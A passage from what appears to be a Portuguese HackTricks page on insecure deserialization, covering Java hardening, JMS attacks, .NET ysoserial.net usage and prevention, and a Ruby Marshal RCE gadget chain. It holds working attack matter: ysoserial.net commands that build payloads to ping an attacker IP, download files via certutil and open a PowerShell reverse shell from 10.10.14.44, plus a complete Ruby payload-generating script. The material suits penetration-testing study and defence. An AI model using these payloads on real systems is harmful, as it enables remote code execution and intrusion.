Alguns dos seus objetos de aplicação podem ser forçados a implementar `Serializable` devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método `readObject()` deve ser declarado (com um modificador `final`) que sempre lance uma exceção:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
#### Verifique a classe deserializada antes de deserializá-la
A classe `java.io.ObjectInputStream` é usada para deserializar objetos. É possível endurecer seu comportamento por meio da subclassificação. Esta é a melhor solução se:
* Você pode alterar o código que faz a deserialização
* Você sabe quais classes espera deserializar
A ideia geral é sobrescrever [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir quais classes são permitidas ser deserializadas.
Como essa chamada acontece antes de um `readObject()` ser chamado, você pode ter certeza de que nenhuma atividade de deserialização ocorrerá, a menos que o tipo seja um que você deseja permitir.
Um exemplo simples disso é mostrado aqui, onde a classe `LookAheadObjectInputStream` garante não deserializar nenhum outro tipo além da classe `Bicycle`:
```java
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
```
**Endureça Todo o Uso de java.io.ObjectInputStream com um Agente**
Se você não possui o código ou não pode esperar por um patch, usar um agente para tecer o endurecimento em `java.io.ObjectInputStream` é a melhor solução.\
Usando essa abordagem, você pode apenas colocar na lista negra os tipos maliciosos conhecidos e não colocá-los na lista branca, pois você não sabe quais objetos estão sendo serializados.
2023-06-06 18:56:34 +00:00
Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:
```
-javaagent:name-of-agent.jar
```
Exemplo: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
2023-06-06 18:56:34 +00:00
### Referências
2023-06-06 18:56:34 +00:00
* Palestra sobre deserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
2023-06-06 18:56:34 +00:00
* Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Artigo sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Artigo e palestra sobre deserialização de JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVEs de Deserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
2021-12-26 17:40:15 +00:00
Descubra o que é **JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
2021-12-26 17:40:15 +00:00
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %}
2022-05-16 08:29:00 +00:00
## JMS - Java Message Service
> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. JMS faz parte da Java Platform, Enterprise Edition (Java EE) e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
2023-06-06 18:56:34 +00:00
### Produtos
2023-06-06 18:56:34 +00:00
Existem vários produtos que usam esse middleware para enviar mensagens:
![](<../../.gitbook/assets/image (291).png>)
![](<../../.gitbook/assets/image (292).png>)
2023-06-06 18:56:34 +00:00
### Exploração
Então, basicamente existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens a esses serviços (geralmente você precisará de credenciais válidas), você poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
Isso significa que nessa exploração todos os **clientes que vão usar essa mensagem serão infectados**.
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando inseguramente a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
2023-06-06 18:56:34 +00:00
### Referências
2023-06-06 18:56:34 +00:00
* Palestra sobre JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
2022-05-16 08:29:00 +00:00
## .Net
.Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: O **exploit** irá **abusar de gadgets** que **executam** algum **código interessante quando** um objeto é **desserializado**.
### Fingerprint
2022-05-16 08:29:00 +00:00
#### WhiteBox
Pesquise no código-fonte pelos seguintes termos:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Procure por qualquer serializador onde o tipo é definido por uma variável controlada pelo usuário.
2022-05-16 08:29:00 +00:00
#### BlackBox
Você pode procurar pela string codificada em Base64 **AAEAAAD/////** ou qualquer outra coisa que **possa ser desserializada** no back-end e que permita controlar o tipo desserializado\*\*.\*\* Por exemplo, um **JSON** ou **XML** contendo `TypeObject` ou `$type`.
2022-05-16 08:29:00 +00:00
### ysoserial.net
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
2023-06-06 18:56:34 +00:00
Se você quiser aprender sobre **como o ysoserial.net cria seus exploits**, você pode [**verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
2023-06-06 18:56:34 +00:00
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* e **`--plugin`.**
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)
* \*\*`--output` \*\* usado para indicar se você quer o exploit em **raw** ou **codificado em base64**. _Note que o **ysoserial.net** irá **codificar** o payload usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo de um console linux, você pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB o payload funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
* \*\*`--plugin` \*\* ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
#### Mais parâmetros do ysoserial.net
* `--minify` fornecerá um **payload menor** (se possível)
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores contendo "xml" (insensível a maiúsculas e minúsculas)
**Exemplos de ysoserial** para criar exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
2022-05-01 12:41:36 +00:00
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
2022-05-01 12:41:36 +00:00
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
Se você indicar esse parâmetro, o **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
```
Isso significa que, para testar o exploit, o código chamará [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
```
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.
Assim, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
2022-05-16 08:29:00 +00:00
### ViewState
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-\_\_viewstate-parameter.md) para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
2023-06-06 18:56:34 +00:00
### **Prevenção**
Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será deserializado. Você pode prevenir isso, por exemplo, usando o `DataContractSerializer` ou `XmlSerializer`, se possível.
Quando estiver usando `JSON.Net`, certifique-se de que o `TypeNameHandling` esteja configurado apenas como `None`.
```
TypeNameHandling = TypeNameHandling.None
```
Se `JavaScriptSerializer` for ser usado, então não o utilize com um `JavaScriptTypeResolver`.
Se for necessário deserializar fluxos de dados que definem seu próprio tipo, então restrinja os tipos que são permitidos para deserialização. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos por si só. Exemplo:
```
System.IO.FileInfo
```
Objetos `FileInfo` que referenciam arquivos realmente presentes no servidor podem, quando desserializados, alterar as propriedades desses arquivos, por exemplo, para somente leitura, criando um potencial ataque de negação de serviço.
Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades que são arriscadas. `System.ComponentModel.DataAnnotations.ValidationException`, por exemplo, tem uma propriedade `Value` do tipo `Object`. Se esse tipo é o tipo permitido para desserialização, então um atacante pode definir a propriedade `Value` para qualquer tipo de objeto que escolherem.
Atacantes devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, então até `DataContractSerializer` ou `XmlSerializer` podem ser subvertidos, por exemplo:
```
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
```
2023-06-06 18:56:34 +00:00
A execução pode ocorrer dentro de certos tipos .Net durante a desserialização. Criar um controle como o mostrado abaixo é ineficaz.
```
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
```
Para `BinaryFormatter` e `JSON.Net` é possível criar uma forma mais segura de controle de lista branca usando um `SerializationBinder` personalizado.
Tente manter-se atualizado sobre os gadgets de deserialização insegura .Net conhecidos e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. **Um deserializador só pode instanciar tipos que ele conhece**.
Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, `System.Windows.Data.ObjectDataProvider` usado em aplicações WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que deserializa dados não confiáveis.
2023-06-06 18:56:34 +00:00
### **Referências**
* Java e .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
2021-10-19 00:01:07 +00:00
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
2022-05-16 08:29:00 +00:00
## **Ruby**
Ruby possui dois métodos para implementar serialização dentro da biblioteca **marshal**: o primeiro método é **dump** que converte objeto em fluxos de bytes **(serialize)**. E o segundo método é **load** para converter fluxos de bytes em objeto novamente (**deserialize**).\
2023-06-06 18:56:34 +00:00
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:
* config/environment.rb
2021-10-19 00:01:07 +00:00
* config/initializers/secret\_token.rb
* config/secrets.yml
* /proc/self/environ
2023-06-06 18:56:34 +00:00
Cadeia de gadgets de deserialização genérica do Ruby 2.X para RCE (mais informações em [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
2021-09-19 21:42:43 +00:00
```ruby
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
2021-09-19 21:42:43 +00:00
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
2021-09-19 21:42:43 +00:00
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
2021-09-19 21:42:43 +00:00
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
2021-09-19 21:42:43 +00:00
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>